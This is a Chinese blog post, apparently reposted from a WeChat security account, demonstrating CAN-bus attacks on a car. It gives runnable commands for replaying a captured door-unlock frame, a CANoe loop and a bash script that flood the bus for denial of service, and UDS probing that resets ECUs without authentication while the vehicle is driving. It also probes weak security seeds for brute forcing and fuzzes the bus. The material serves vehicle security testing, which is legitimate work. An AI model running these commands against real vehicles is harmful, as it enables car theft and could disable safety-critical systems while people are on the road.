“ 免责声明：本文涉及到的所有技术仅用来学习交流，严禁用于非法用途，未经授权请勿非法渗透。否则产生的一切后果自行承担！一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉，谢谢！”

本专题文章将分为三部分：

介绍、攻击、演示，本文为终章汽车CAN总线测试方法演示 。

本演示希望起到一个梳理的作用，希望读者理解每一步的原理，多看标准，不要完全依赖工具。

常用CAN收发工具包括很多种，本篇以socket can搭配Caringcaribou为例展开介绍（socket can买免驱的，优点便宜、使用方便，Caringcaribou做can简直太好用，但也发现一个问题，缺少扩展帧的uds检测，二次开发中，把这个模块补上）

环境搭建：

1.canutils

1.1 kali执行如下命令

apt install can-utils

1.2 执行candump -h回显如下证明安装成功

2.Caringcaribou

2.1 执行如下命令进行安装

#下载Caringcaribou
git clone https://github.com/CaringCaribou/caringcaribou.git
#到文件目录执行安装程序
cd caringcaribou
python3 setup.py install

# 安装 python can 库
pip3 install python-can

演示

重放攻击

1.1 candump监听Can总线数据 （此处是破线接入车辆can网络）

candump can0 -l

1.2 按动车钥匙中的开锁按钮

1.3 停止抓包并对抓到的数据进行处理

cat candump.log | awk '{print $3}' > res.txt

1.4 利用Caringcaribou工具进行重放攻击

cc.py fuzzer identify res.txt

1.5 根据汽车是否出现对应反应选择y/n, 获取开关车门数据包

1.6 对开关车门数据包进行重放

cansend can0 100#3d157d40d9000560

观察到车锁成功被开启

再重放一次数据包,发现车锁成功关闭

DoS攻击

（1）过载Dos攻击

此处使用CANoe实现过载DOS攻击

代码如下

variables{    int ReceiveMeg[9];    message* Request_Msg;}
void Main(){    while(1)    {        Request_Msg.id = 1;                  // 设定请求信息对象 ID        Request_Msg.dlc = 0x8;               // 设定数据长度        Request_Msg.byte(0) = random(0xFF);  // 生成随机数一个字节范围        Request_Msg.byte(1) = random(0xFF);        Request_Msg.byte(2) = random(0xFF);        Request_Msg.byte(3) = random(0xFF);        Request_Msg.byte(4) = random(0xFF);        Request_Msg.byte(5) = random(0xFF);        Request_Msg.byte(6) = random(0xFF);        Request_Msg.byte(7) = random(0xFF);        Request_Msg.can = 1;                 // 检测请求信息对象通讯结果        output(Request_Msg);        testWaitforTimeout(10);    }}

（2）优先级Dos攻击

编写shell脚本向can总线发送10000条垃圾数据

vim dos.sh

写入如下内容            

#!/bin/bash
# Define the CAN interfaceCAN_INTERFACE="can0"
# Generate and send 10000 messagesfor ((i=1; i<=10000; i++)); do   message="001#${i}"  cansend "$CAN_INTERFACE" "$message"done

运行该shell脚本

chmod +x dos.sh
./dos.sh

UDS探测

通过OBD接口连接车辆Can总线,对Can总线进行抓包尝试

candump can0

未获取到数据,说明网关对Can总线和OBD接口进行了隔离,无法直接抓到Can报文

向Can总线发送UDS诊断请求,回显正常,说明Can总线工作正常

方法一：

UDS服务扫描


cc.py uds discovery

探测支持的服务ID

cc.py uds services src ds


cc.py uds services 0x607 0x608

进行服务探测,发现0x27,0x29服务均存在

尝试进行重置ECU,读取任意did等操作,发现并没有鉴权

cc.py uds dump_dids 0x607 0x608

切换至扩展会话模式

cansend can0 607#0210030000000000

在车辆行驶的过程中向车辆发送

发送重置ecu请求， 多次发送可以发现Ecu无限制重置

cc.py uds ecu_reset 2 clientid serverid

27服务安全性

切换至编程模式

cansend can0 607#0210020000000000

多次请求安全种子，观察种子强度和重复

cansend can0 607#0227010000000000

方法二：

使用caringcaribou工具auto模块

自动化探测uds主要攻击面（但不适用扩展帧的uds检测，二次开发中）

cc.py uds auto

27服务安全性

探测27服务种子强度和重复问题

cc.py uds_fuzz seed_randomness_fuzzer 100311022701 0x733 0x633

种子重复且种子为8位，但前5位一致，有效位只为3位，可爆破种子，

模糊测试

1.1 candump监听Can总线

candump can0 -l

1.2 使用Caringcaribou向Can总线发送随机消息

cc.py fuzzer random

1.3 随时观察车辆是否发生异常现象,若发生,则停止candump监听,对数据进行处理

cat candump.log | awk '{print $3}' > res.txt

1.4 使用Caringcaribou进行重放以确认引起问题的数据包

cc.py fuzzer identify res.txt

产品预告

基于caringcaribou二次开发

适用扩展帧的uds检测

原文始发于微信公众号（安全脉脉）：汽车CAN总线-03 测试方法演示